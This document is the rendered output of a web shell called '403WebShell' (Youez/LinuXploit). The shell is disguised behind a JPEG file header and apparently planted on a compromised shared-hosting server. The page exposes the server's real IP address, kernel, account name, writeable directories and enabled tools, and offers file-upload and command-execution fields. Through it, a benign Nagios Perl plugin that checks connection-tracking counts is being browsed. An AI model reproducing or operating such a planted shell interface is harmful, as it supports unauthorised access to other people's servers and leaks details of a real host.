����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.15.31.240
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/base/check_conntrack
#!/usr/bin/env perl

use strict;
use warnings;
use Carp;
use Getopt::Long;

sub usage {
    print <<"END_USAGE";
Usage:
    $0 [ options ]

Options:
    --sudo - request nf_conntrack_count through sudo. default false
    --warn - warning nf_conntrack_count connections. default 80
    --crit - critical nf_conntrack_count connections. default 90
    Values is percents of net.nf_conntrack_max.
END_USAGE
    exit 1;
}

my $help;
my $sudo;
my $warn = 80;
my $crit = 90;
GetOptions(
    'sudo'   => \$sudo,
    'warn=i' => \$warn,
    'crit=i' => \$crit,
    'h|help' => \$help,
) || usage;
return usage() if $help;

my $nf_conntrack_max   = `sysctl -n net.nf_conntrack_max`;
my $nf_conntrack_count = $sudo
    ? `sudo sysctl -n net.netfilter.nf_conntrack_count`
    : `sysctl -n net.netfilter.nf_conntrack_count`;
chomp $nf_conntrack_max;
chomp $nf_conntrack_count;
my $percents = sprintf "%.1f", ($nf_conntrack_count / $nf_conntrack_max * 100);

my $msg   = 'UNKNOWN';
my $state = 3;
if ( $percents > $crit ) {
    $msg = "CRITICAL - $percents% ($nf_conntrack_count)";
    $state = 2;
}
elsif ( $percents > $warn ) {
    $msg = "WARNING - $percents% ($nf_conntrack_count)";
    $state = 1;
}
else {
    $msg = "OK - $percents% ($nf_conntrack_count)";
    $state = 0;
}
my $perfdata_string =
  "nf_conntrack_count=$nf_conntrack_count;". 
  int($nf_conntrack_max*$warn / 100) .';'. 
  int($nf_conntrack_max*$crit / 100) .";0;$nf_conntrack_max";

print "$msg";
print "|$perfdata_string\n";
exit $state;

1;

Youez - 2016 - github.com/yon3zu
LinuXploit